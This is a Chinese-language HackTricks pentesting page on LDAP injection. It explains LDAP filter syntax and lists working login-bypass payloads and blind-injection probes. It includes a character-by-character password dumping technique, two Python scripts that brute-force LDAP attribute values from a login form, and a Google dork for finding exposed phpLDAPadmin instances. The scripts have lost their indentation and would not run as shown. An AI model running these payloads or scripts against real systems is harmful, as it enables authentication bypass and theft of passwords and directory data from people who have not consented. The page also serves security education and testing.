hacktricks/pentesting-web/ldap-injection.md

# LDAP注入

## LDAP注入

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## LDAP注入

### **LDAP**

**如果您想了解什么是LDAP，请访问以下页面：**

{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}

**LDAP注入**是一种攻击技术，用于**利用**基于**web**的应用程序，这些应用程序根据**用户**的**输入**构建**LDAP** **语句**。当应用程序**未能**正确**清理**用户输入时，就有可能使用本地代理修改LDAP语句。

{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}

**过滤器** = ( filtercomp )\
**Filtercomp** = and / or / not / item\
**And** = & filterlist\
**Or** = |filterlist\
**Not** = ! filter\
**Filterlist** = 1\*filter\
**Item**= simple / present / substring\
**Simple** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
**Present** = attr = \*\
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
**(&)** = 绝对真\
**(|)** = 绝对假

例如：\
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`

您可以访问数据库，这可能包含许多不同类型的信息。

**OpenLDAP**：如果到达2个过滤器，只执行第一个。\
**ADAM或Microsoft LDS**：有2个过滤器时会抛出错误。\
**SunOne目录服务器5.0**：执行两个过滤器。

**发送过滤器时使用正确的语法非常重要，否则会抛出错误。最好只发送1个过滤器。**

过滤器必须以 `&` 或 `|` 开头\
例如：`(&(directory=val1)(folder=public))`

`(&(objectClass=VALUE1)(type=Epson*))`\
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`

然后：`(&(objectClass=`**`*)(ObjectClass=*))`** 将是第一个过滤器（被执行的那个）。

### 登录绕过

LDAP支持多种格式存储密码：明文、md5、smd5、sh1、sha、crypt。因此，可能无论您在密码中输入什么，它都会被哈希。
```bash
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
```

```bash
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
```

```bash
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
```

```bash
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
```

```bash
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
```

```bash
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
```

```bash
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
```

```bash
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
```

```bash
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
```
#### 列表

* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
* [LDAP 属性](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
* [LDAP PosixAccount 属性](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)

### 盲目 LDAP 注入

您可以强制产生 False 或 True 响应来检查是否有数据返回，从而确认可能的盲目 LDAP 注入：
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
```

```bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
```
#### 转储数据

您可以遍历 ascii 字母、数字和符号：
```bash
(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...
```
### 脚本

#### **发现有效的LDAP字段**

LDAP对象**默认包含多个属性**，这些属性可以用来**保存信息**。你可以尝试**暴力破解所有这些属性以提取信息**。你可以在[**这里找到默认LDAP属性的列表**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)。
```python
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break

if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
```
#### **特殊盲目LDAP注入（不使用"\*"）**
```python
#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
```
### Google Dorks
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
### 更多有效载荷

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